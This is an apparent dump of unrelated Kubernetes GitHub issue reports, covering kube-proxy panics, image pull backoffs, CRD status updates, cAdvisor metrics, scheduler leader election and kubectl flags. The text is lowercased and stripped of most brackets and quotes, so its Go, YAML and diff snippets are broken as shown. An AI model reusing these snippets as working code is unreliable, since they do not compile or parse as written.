/home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:875 +0x1c8\r k8s.io/kubernetes/pkg/proxy/iptables.  servicechangemap .update 0xc420385620, 0xc420489df8, 0x0, 0xc4203805a0, 0x1ad7000 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:312 +0xb4\r k8s.io/kubernetes/pkg/proxy/iptables.  proxier .onserviceadd 0xc420385600, 0xc4203805a0 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:645 +0x9a\r k8s.io/kubernetes/pkg/proxy/config.  serviceconfig .handleaddservice 0xc420295ad0, 0x1a807c0, 0xc4203805a0 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:225 +0xe8\r k8s.io/kubernetes/pkg/proxy/config.  serviceconfig . k8s.io/kubernetes/pkg/proxy/config.handleaddservice -fm 0x1a807c0, 0xc4203805a0 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:182 +0x3e\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.resourceeventhandlerfuncs.onadd 0xc42042ae90, 0xc42042aea0, 0xc42042aec0, 0x1a807c0, 0xc4203805a0 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:195 +0x49\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  resourceeventhandlerfuncs .onadd 0xc4204e2420, 0x1a807c0, 0xc4203805a0 \r         <autogenerated>:57 +0x73\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  processorlistener .run 0xc4202fd130 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:545 +0x287\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  processorlistener . k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.run -fm  \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:381 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.  group .start.func1 0xc42000fa98, 0xc420202160 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71 +0x4f\r created by k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.  group .start\r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:72 +0x62\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @gnufied, thanks for reporting this.

\r i0902 19:04:23.790    k8s.io/kubernetes/pkg/kubelet/cm\r i0902 19:04:23.790  pkg/kubelet/cm/container_manager_unsupported.go:75: undefined: kubecontainer in kubecontainer.runcontaineroptions\r i0902 19:04:23.790  pkg/kubelet/cm/container_manager_unsupported.go:76: undefined: kubecontainer in kubecontainer.runcontaineroptions\r    \r https://github.com/kubernetes/kubernetes/pull/51209\r https://k8s-testgrid.appspot.com/misc cross-build\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-cross-build/3141\r \r ---\r cc: @kubernetes/sig-node-bugs @kubernetes/sig-node-test-failures @dchen1107 @jiayingz @vishh\r  /

glusterfs+heketi use gb units for expanding volume. using gib incorrectly leads to expanding the volume to smaller size than user requested.\r \r  \r cc @humblec

/ /  /area hw-accelerators\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-device-plugin-gpu has been failing since 2017-10-19\r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-device-plugin-gpu/800\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-device-plugin-gpu/801\r \r i suspect https://github.com/kubernetes/kubernetes/pull/53031 caused this\r \r this job in on the release-master-blocking dashboard, and prevents us from cutting 1.9.0-alpha.2  kubernetes/sig-release 22 .  is there work ongoing to bring this job back to green?

 \r   what happened  :\r \r occasionally we'll run into imagepullbackoff errors on our alpha gke cluster on kube v1.8.5-gke.0  when pulling large docker images for containers within a pod. it sometimes won't work for 30+ mins and then start working again later. the larger docker images we occasionally have issues with are around 1-2gb.\r \r example events from describing the pod:\r \r    \r events:\r   type     reason                 age               from                                                          message\r   ----     ------                 ----              ----                                                          -------\r   normal   scheduled              13m               default-scheduler                                             successfully assigned podname to gke-cluster-gr--cpu-pool-8fae08dd-jmfq\r   normal   successfulmountvolume  13m               kubelet, gke-cluster-gr-xxxx  mountvolume.setup succeeded for volume \ shared-logs\ \r   normal   successfulmountvolume  13m               kubelet, gke-cluster-gr-xxxx  mountvolume.setup succeeded for volume \ default-token-v7z2n\ \r   normal   pulling                9m                kubelet, gke-cluster-gr-xxxx  pulling image \ anothersmallimage\ \r   normal   pulling                6m                kubelet, gke-cluster-gr-xxxx  pulling image \ smallimage\ \r   normal   started                6m                kubelet, gke-cluster-gr-xxxx  started container\r   normal   created                6m                kubelet, gke-cluster-gr-xxxx  created container\r   normal   pulled                 6m                kubelet, gke-cluster-gr-xxxx  successfully pulled image \ smallimage\ \r   normal   pulled                 6m                kubelet, gke-cluster-gr-xxxx  successfully pulled image \ anothersmallimage\ \r   normal   created                6m                kubelet, gke-cluster-gr-xxxx  created container\r   normal   started                6m                kubelet, gke-cluster-gr-xxxx  started container\r   normal   backoff                4m  x4 over 9m    kubelet, gke-cluster-gr-xxxx  back-off pulling image \ bigimage\ \r   normal   backoff                4m  x2 over 4m    kubelet, gke-cluster-gr-xxxx  back-off pulling image \ bigimage\ \r   warning  failedsync             4m  x4 over 6m    kubelet, gke-cluster-gr-xxxx  error syncing pod\r   normal   pulling                4m  x3 over 13m   kubelet, gke-cluster-gr-xxxx  pulling image \ bigimage\ \r   warning  failed                 1m  x3 over 9m    kubelet, gke-cluster-gr-xxxx  failed to pull image \ bigimage\ : rpc error: code = canceled desc = context canceled\r \r    \r i have correctly set-up the docker hub secrets and this has worked no problem on \r   what you expected to happen  :\r \r the container to pull the image from dockerhub and continue execution.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a gke cluster and create a pod using a large docker image, for example:\r nvidia/cuda:8.0-cudnn6-devel-ubuntu14.04 is probably a good candidate as one of our larger images is based on one of the nvidia/cuda images. \r \r you may occassionally experience a imagepullbackoff\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.8.5-gke.0\r - cloud provider or hardware configuration: google kubernetes engine, alpha cluster\r - others: dockerhub, alpha gke cluster\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r per  56732, seems init container can not cover all user cases - running kube-proxy without container for example. \r \r we need to automatically load kernel modules in all user cases so that declaring ipvs proxy ga in v1.10. following are the list which should be coverd.\r \r -     kubeadm\r -     kubernetes-anywhere\r -     gce\r \r cc @lion-wei @rramkumar1 @stewart-yu \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r all my vms are deployed on   azure  . and i create a nfs server , as well as pv and pvc based on that. i am sure above step works. however, when i try to mount this nfs into a  pod who contains windows container, it occurs an error:\r  azuremount: only cifs mount is supported now \r then i check the code in https://github.com/kubernetes/kubernetes/blob/master/pkg/util/mount/mount_windows.go\r and found this words have been hard-coded.\r \r i know maybe it's not a bug but a block way, but just want to ask:\r 1.if this behavior only happens on azure vm?\r 2. if not, what fie system s  is supported to mount into windows container till now? actually i didn't found any doc which can clarify this question\r  3. if above question hard to answer, just want to double-check : can azure disk or azure file be mounted into windows container?\r 4. any further planning to support this?\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r any time you mount a nfs into windows container via pv/pvc  on azure \r  \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.5\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :  k8s master/nfs server : centos7.3, windows container: winservercore1709 \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r a pod was deployed with a pvc, pvc was created using ibmcloud object storage plug-in  https://github.com/ibm/ibmcloud-object-storage-plugin . in some situation, may be oom case,  the backend  s3fs-fuse  process, one responsible for managing the bucket mount point, got terminated and the access to mount-point throws error  transport endpoint is not connected .\r when trying to delete the pod the pod is getting into terminating state forever.\r \r did some investigation and found the  teardownat  function of the flexvolume code  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/flexvolume/unmounter.go l47  is not giving a chance to the volume driver to perform the cleanup in case of corrupted mount-point. \r \r   what you expected to happen  :\r on deleting the pod, the pod should get terminated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy an object storage plugin  https://github.com/ibm/ibmcloud-object-storage-plugin \r create a pvc\r get into worker node and terminate s3fs fuse process  use  kill -9 <pid>  \r delete the pod using  kubectl delete pod <pod name> \r \r   anything else we need to know?  :\r i have worked on a fix for this issue, it is working perfectly \r https://github.com/nkkashyap/kubernetes/commit/ecfeedd2188f2249c533d66e04b4bf6990cbfb60\r i am planning to raise a pr for same.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.10 \r - cloud provider or hardware configuration:  ibm kubernetes cloud \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r i could be usefull to have an option \ ifdifferent\  for imagepullpolicy.\r \r   why is this needed  :\r when we need an image tag \ latest\   for example the dynatrace oneagent is :latest and we need it to be always at the lastest version to get dynatrace's updates  but don't want to re-pull always the same image.\r \r the option \ ifdifferent\  would behave like \ always\ , but before pulling, it would check the hash of the image with the hash already present locally. if different, it pulls the image.\r \r 

when authz is added to psp admission  https://github.com/kubernetes/kubernetes/pull/33080  the user submitting the request will now be taken into account for psp selection.  that means that if one user creates a pod and another user updates the pod the psp options that the pod validates against may be different.  \r \r since the podspec should not be mutable on the fields that psp defaults anyway the psp logic should be split so that defaulting only occurs during an add operations.  an update operation should only attempt to validate that the user has a psp that would allow the requested spec.\r \r \r ref: https://github.com/kubernetes/kubernetes/pull/33080/files r84148684

hi,\r i have one master and 2 menions.\r master ip: 192.168.20.50\r menion1: 192.168.20.51\r menion2: 192.168.20.52\r \r i am able to run replication containers and create services in master. i have a problem in accessing application container by using master ip.\r \r i did port forwarding from master to menion with fallowing command.\r \r  root@master ~   kubectl port-forward nginx :80 &\r  2  2229\r  root@master ~   i1201 22:15:46.822396    2229 portforward.go:213  forwarding from 127.0.0.1:43020 -> 80\r i1201 22:15:46.822603    2229 portforward.go:213  forwarding from  ::1 :43020 -> 80\r \r so when i hit with localhost i can access nginx but when i hit with master ip i am getting connection refused.\r \r  root@master ~   curl http://localhost:43020\r i1201 22:15:57.031858    2229 portforward.go:247  handling connection for 43020\r <!doctype html>\r <html>\r <head>\r <title>welcome to nginx!</title>\r <style>\r     body {\r         width: 35em;\r         margin: 0 auto;\r         font-family: tahoma, verdana, arial, sans-serif;\r     }\r </style>\r </head>\r <body>\r <h1>welcome to nginx!</h1>\r <p>if you see this page, the nginx web server is successfully installed and\r working. further configuration is required.</p>\r \r <p>for online documentation and support please refer to\r <a href=\ http://nginx.org/\ >nginx.org</a>.<br/>\r commercial support is available at\r <a href=\ http://nginx.com/\ >nginx.com</a>.</p>\r \r <p><em>thank you for using nginx.</em></p>\r </body>\r </html>\r \r  root@master ~   curl http://192.168.1.49:43020\r curl:  7  failed connect to 192.168.1.49:43020; connection refused\r \r \r

 \r flex volume docs still stay the feature is alpha. we made it ga in kube 1.8 time frame. we have to update the docs to reflect it.\r \r 

 \r   what happened  :\r updatestatus doesn't work for crd  receives a 404 \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. start kube-apiserver with  --feature-gates=customresourcesubresources=true \r 2. get the sample-controller for crds\r    \r go get k8s.io/sample-controller\r cd ${gopath}/src/k8s.io/sample-controller\r git checkout aecec8f389159b335d6bcf0a4e96ea722058ec38\r   apply the diff in  0 \r ./hack/update-codegen.sh\r go run  .go -kubeconfig=$home/.kube/config\r   on a different terminal but in the same directory run\r   create a customresourcedefinition\r $ kubectl create -f artifacts/examples/crd.yaml\r   create a custom resource of type foo\r $ kubectl create -f artifacts/examples/example-foo.yaml\r   you'll see, in the first terminal,\r e0306 13:09:31.481700   24661 controller.go:236  error syncing 'default/example-foo': the server could not find the requested resource  put foos.samplecontroller.k8s.io example-foo \r    \r \r  0 \r    \r diff --git a/controller.go b/controller.go\r index a98ff1f..c7331b7 100644\r --- a/controller.go\r +++ b/controller.go\r @@ -331,7 +331,7 @@ func  c  controller  updatefoostatus foo  samplev1alpha1.foo, deployment  appsv1\r         // update the status block of the foo resource. updatestatus will not\r         // allow changes to the spec of the resource, which is ideal for ensuring\r         // nothing other than resource status has been updated.\r -       _, err := c.sampleclientset.samplecontrollerv1alpha1  .foos foo.namespace .update foocopy \r +       _, err := c.sampleclientset.samplecontrollerv1alpha1  .foos foo.namespace .updatestatus foocopy \r         return err\r  }\r  \r diff --git a/pkg/apis/samplecontroller/v1alpha1/types.go b/pkg/apis/samplecontroller/v1alpha1/types.go\r index 1f6eb1f..74ffc67 100644\r --- a/pkg/apis/samplecontroller/v1alpha1/types.go\r +++ b/pkg/apis/samplecontroller/v1alpha1/types.go\r @@ -21,7 +21,6 @@ import  \r   \r  \r  // +genclient\r -// +genclient:nostatus\r  // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.object\r  \r  // foo is a specification for a foo resource\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.1\ , gitcommit:\ 37555e6d24c2f951c40660ea59a80fa251982005\ , gittreestate:\ clean\ , builddate:\ 2018-03-01t06:50:06z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.1\ , gitcommit:\ 37555e6d24c2f951c40660ea59a80fa251982005\ , gittreestate:\ clean\ , builddate:\ 2018-03-01t06:15:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r cc @sttts @nikhita

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i scraped metrics from cadvisor with a prometheus scrape job and stored them.\r \r   what you expected to happen  :\r every metric for a single pod is stored once.\r \r   how to reproduce it  as minimally and precisely as possible   :\r add a scrape job in prometheus with the following config:\r    \r - job_name: kubernetes-cadvisor\r   scrape_interval: 30s\r   scrape_timeout: 10s\r   metrics_path: /metrics\r   scheme: https\r   kubernetes_sd_configs:\r   - api_server: null\r     role: node\r     namespaces:\r       names:   \r   bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token\r   tls_config:\r     ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\r     insecure_skip_verify: false\r   relabel_configs:\r   - separator: ;\r     regex: __meta_kubernetes_node_label_ .+ \r     replacement: $1\r     action: labelmap\r   - separator: ;\r     regex:  .  \r     target_label: __address__\r     replacement: kubernetes.default.svc:443\r     action: replace\r   - source_labels:  __meta_kubernetes_node_name \r     separator: ;\r     regex:  .+ \r     target_label: __metrics_path__\r     replacement: /api/v1/nodes/${1}/proxy/metrics/cadvisor\r     action: replace\r    \r then monitor \ container_cpu_usage_seconds_total\  on the prometheus ui especially for a running pod on your cluster. example query:  container_cpu_usage_seconds_total{pod_name=\ your-pod-name\ }.\r then you can see, there are redundant metrics.\r \r the difference between the two redundant metrics are only the labels. \r the \ id\  in the first metric is longer than in the second. in addition to that, the second metric has no \ container_name\ ,  \ image\  and \ name\  label.\r \r   anything else we need to know?  :\r \r prometheus version: 2.3.1\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.0\r \r \r <!-- do not edit below this line -->\r 

followup for  9013  9180  10656  the default regular expression for long running requests defined here: https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/server.go l60 does not match paths such as  /api/v1/namespaces/myns/pods/mypod/log  - though it matches  .../logs  which is incorrect as the singular form seems to be used.  cc @csrwng

now that all elements in the registry have been switched to use the storage layer we should probably move to rename the /etcd\\  to something more generic, as we work to shard to different backends.    i still have to finish up some other transformations 1st, but this is a placeholder.   my vote might be keyval.    /cc @jayunit100 @lavalamp @wojtek-t @rrati

as fields.selector only support '=' or '!=' now, it's limited, for example, i want to watch secrets with names \ aa\ , \ bb\ ,\ cc\  ...,  i could not archive because in the fields.selector, the field only has one value, if it could support 'in', we can do like interm{field:\ metadata.name\ , value:\ aa,bb,cc\ }

from  current kubedns codes  https://github.com/kubernetes/kubernetes/blob/master/pkg/dns/dns.go l153-l162 . the  kubedns  starts with running services and endpoints store controller, and setups the ready signal once  get kubernetessvcname   returns.  although store controllers will start with  list ing all objects and sync, there is no guarantee that all existing services/endpoints can get fully updated into treecache at the point  get kubernetessvcname   returns. especially when scaling out  kubedns  for a huge cluster that has lots of services/endpoints. ramping up the new  kubedns  may take a while, and those unready dns servers may got exposed ahead because  get kubernetessvcname   returns quickly.  @bowei @bprashanth @thockin

is this a request for help?   no    what keywords did you search in kubernetes issues before filing this one?   logging  ---    is this a bug report or feature request?    choose one : feature request  with the announcement of the new stackdriver pricing, it's important to be able to reduce the amount of logs that kubernetes automatically ships to stackdriver logging, without requiring changes to applications.  right now collectively my cluster is logging around about 100gb per month, and i have a cluster in both a production and development account.  i want to be able to disable all standard output  while keeping standard error  from containers that i'm running on google container engine.  i still need to keep standard error so that i can view errors that occur before application startup.  there's currently no way to modify an existing google container engine cluster to disable logging entirely.  alternatively, if this isn't something that the kubernetes developers want to pursue, it'd be useful to have aggregate statistics on how much log data a container has emitted over the last time period  say day or 7 days .  this would allow developers to identify noisy containers and take actions to reduce costs.

kubernetes version    use  kubectl version  :\r    \r $kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+coreos.0\ , gitcommit:\ cc65f5321f9230bf9a3fa171155c1213d6e3480e\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t04:08:28z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos\r \r \r   what happened  :\r running through the following example  http://kubernetes.io/docs/admin/kube-scheduler/  you cannot start a second scheduler without disabling leader-elect if the default scheduler has leader-elect enabled  default . i think the lock needs to configurable based on scheduler name.\r \r \r   what you expected to happen  :\r you can run subsequent schedulers with leader-elect using a separate lock.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r run through -- http://kubernetes.io/docs/admin/kube-scheduler/\r \r yields\r    \r $ kubectl logs my-scheduler-3263660448-r8xfq   -n kube-system -f\r w1220 18:09:43.712076       1 client_config.go:481  neither --kubeconfig nor --master was specified.  using the inclusterconfig.  this might not work.\r i1220 18:09:43.760718       1 leaderelection.go:247  lock is held by ip-10-0-10-11.us-west-2.compute.internal and has not yet expired\r i1220 18:09:47.214644       1 leaderelection.go:247  lock is held by ip-10-0-10-11.us-west-2.compute.internal and has not yet expired\r i1220 18:09:49.939585       1 leaderelection.go:247  lock is held by ip-10-0-10-11.us-west-2.compute.internal and has not yet expired\r i1220 18:09:53.178888       1 leaderelection.go:247  lock is held by ip-10-0-10-11.us-west-2.compute.internal and has not yet expired\r    \r \r adding leader-elect=false to subsequent kube-scheduler gets round this at the moment\r    \r $kubectl logs my-scheduler-3263660448-wr6bc   -n kube-system -fem\r w1220 18:11:13.475504       1 client_config.go:481  neither --kubeconfig nor --master was specified.  using the inclusterconfig.  this might not work.\r i1220 18:11:13.519262       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ annotation-second-scheduler\ , uid:\ 28908cea-c6df-11e6-b886-06f3d2138bbf\ , apiversion:\ v1\ , resourceversion:\ 977630\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' no nodes available to schedule pods\r    \r \r   anything else do we need to know  :\r \r

this is a discussion issue for implementing shared resource tagging per https://github.com/kubernetes/features/issues/173\r \r    tag usage\r \r on review of the aws code, tags are used:\r \r   volumes, instances: i do not think we should share these across clusters.  the cluster \ owns\  the instance or volume.\r   security groups: might be nice to share, but they are read/write  for elbs , so i propose not sharing.\r   routetables: only used by kubenet.  would be nice to share, but they are read/write, so i propose not sharing.  this means sharing a subnet while using kubenet will not be supported  which i think is fine .\r   subnets: we want to share.\r \r    subnets\r \r we use subnets only to figure out which subnets to attach to an elb.  an elb can be internal or public, and we have some heuristics, and we also have two tags  kubernetes.io/role/internal-elb  and  kubernetes.io/role/elb .\r \r we have the following 3 axes:\r \r   usage: can a cluster create an elb and use that subnet\r   ownership: should a cluster delete the subnet when it is deleted\r   internal/external suitable: is the subnet the right one to use for internal/external elbs\r \r the current tag is  kubernetescluster=<clustername> \r \r i propose a tag that looks like  kubernetes.io/<clustername>=<x> .  this will allow us to have multiple tags.\r \r   the existing tags & logic should still be recognized, but we should avoid using them in new code / clusters\r   usage rights can be inferred based on the tag existence.  we could have syntax for  x  that implies \ no usage\ ,  but i do not think this should be the default. \r   kops  and other tools that use tags  should not delete a subnet unless  x  implies ownership\r    x  can also include the internal/external designation\r \r    value syntax\r \r two option for the value syntax:\r \r   we could use json, which has the advantage of being easier to evolve\r   we could use a simpler comma separate list of strings  or equivalent .\r \r my initial preference is for the simple list of strings, because it is easier to understand and our requirements are not particularly complicated today.  it might be that our requirements are actually more complicated than i think though.\r \r we can recognize json easily though, because it will \ always\  start with  { .  so we could support both formats.  my preference though is that if we need/want json, we should only do json.

\r what we are doing currently?\r \r we are currently getting the information from node for images stored on it everytime we are scheduling in \r https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/priorities/image_locality.go l70\r \r what can we do?\r if we can add a field in node info just like disk , we may see some performance improvement and cache it we may see some performance improvement.\r \r

most of the time i use logs i use  --tail 1 -f  to see what is going on now and not get spammed by everything that ever happened ... it would be great to not have to spell that out and also have a default argument of 10 so i could do:  kubectl logs foo -tf

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r disruptioncontroller\r getpodsforpdb\r \r ---\r \r   is this a bug report or feature request?   feature request\r \r in  kubernetes/pkg/controller/disruption/disruption.go  we have  getpodsforpdb  function return pods using  policy.poddisruptionbudget .\r but at the end we perform a copy of the pod array that we listed with : \r \r    go\r \tresult := make    v1.pod, 0, len pods  \r \tfor i := range pods {\r \t\tresult = append result, &  pods i     //pods being the array returned from the listing\r \t}\r    \r this is not necessary cc @deads2k @wojtek-t

while i was working on pr https://github.com/kubernetes/kubernetes/pull/46560, we found the help message  kubectl_external_diff  in apply-diff command will becomes  kubectl external diff  after printing out. also  kube_editor  in edit command will also becomes  kube _editor  if you look carefully.\r \r we should fix that if we can, i will investigate it, since @fabianofranz is the author of that part of  markdown render code  https://github.com/shiywang/kubernetes/blob/2b178ad608bd443efeaf3e9ea7c700e72ab68de1/pkg/kubectl/cmd/templates/normalizers.go l73 , do you have any idea on why this happened if you already know the root cause?\r \r /assign @shiywang\r cc @mengqiy

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r a follow up of https://github.com/kubernetes/kubernetes/issues/15634\r \r   what you expected to happen  :\r \r we should add a script to verify this. e.g.  ./hack/verify-util-pkg.sh

https://github.com/kubernetes/dns/issues/124\r \r \r for milestone

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r kube-proxy came up cleanly but mis-configured iptable rules due to a mis-match in the hostname and node name within the cluster triggering a default behavior.  in this case the hostname returned the fqdn of the host and the cluster only had the hostname.  this resulted in the following warning messages when kube-proxy started.\r \r    \r w1220 16:46:26.875651       1 server.go:580  failed to retrieve node info: nodes \ node07.example.com\  not found\r w1220 16:46:26.875785       1 proxier.go:471  invalid nodeip, initializing kube-proxy with 127.0.0.1 as nodeip\r    \r which then presents itself as pods not being able to access clusterip ip addresses with no route errors.\r \r   what you expected to happen  :\r \r would it be better to fail to in this scenario rather than try to fall back to some default?  i spent a good amount of time trying to track down the error messages that were a result of this before finally working back to taking a closer at the warning message.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start the kube-proxy with  --hostname-override  set to an invalid hostname should recreate this issue.\r \r   anything else we need to know?  :\r \r while i think we can chalk up this issue to mis-configuration the purpose of opening this issue is really to have a conversation about the default behavior.  i've seen several other issues filed that appear to be related to this behavior:  35641,  37414,  40653.\r \r   would throwing an error and exiting non-zero be a better default action when the nodeip is nil?\r   what use case s  does a default of  127.0.0.1  support?\r   if there must be a default behavior here maybe the ip address on the interface associated with the default gateway is a better default than  127.0.0.1 ?\r   maybe the issue isn't in the proxier code but the kube-proxy itself should error when it fails to get node info rather than a warning?\r \r   environment  :\r i'm not sure how much of this is important to this but here's what my environment was when i ran into this.\r - kubernetes version: 1.8.5\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : centos 7 and ubuntu 16.04

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r    \r   what happened  :\r if default user is configured in kubectl. when applying kubectl command:\r kubectl --user='admin' create clusterrolebinding <role_name> --clusterrole=view --group=<group_name>\r kubectl ignores --user parameter. and i get error\r error from server  forbidden : user \ <default_user>\  cannot create clusterrolebindings...\r \r   what you expected to happen  :\r this should result in creating appropriate clusterrolebinding on behalf of admin user.\r admin user is to be used for api server authentication, not viewer.\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup kubernetes cluster.\r \r configure kubectl. create cluster configuration, context, 2 users, set default context. to reproduce this issue create two users in kubectl config - one user with permissions to create clusterrolebinding  admin  and another without  viewer . set user without permissions  viewer  as default for context.\r \r apply kubectl create clusterrolebinding with different user specified. e.g.\r kubectl --user='admin' create clusterrolebinding <role_name> --clusterrole=view --group=<group_name>\r \r instead of successfully created clusterrolebinding i get error message:\r error from server  forbidden : user \ viewer\  cannot create clusterrolebindings.rbac.authorization.k8s.io at the cluster scope.  post clusterrolebindings.rbac.authorization.k8s.io \r \r   anything else we need to know?  :\r there are at least 2 workarounds:\r specify admin user as default in kubectl config\r create file with clusterrolebinding and apply kubectl create -f <file_name>\r \r   environment  :\r - kubernetes version  use  kubectl version  : this is kubectl bug. i checked this with kubectl 1.7.11 and 1.9.0\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.11\ , gitcommit:\ b13f2fd682d56eab7a6a2b5a1cab1a3d2c8bdd55\ , gittreestate:\ clean\ , builddate:\ 2017-11-25t17:51:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r @kubernetes/sig-cli-bugs

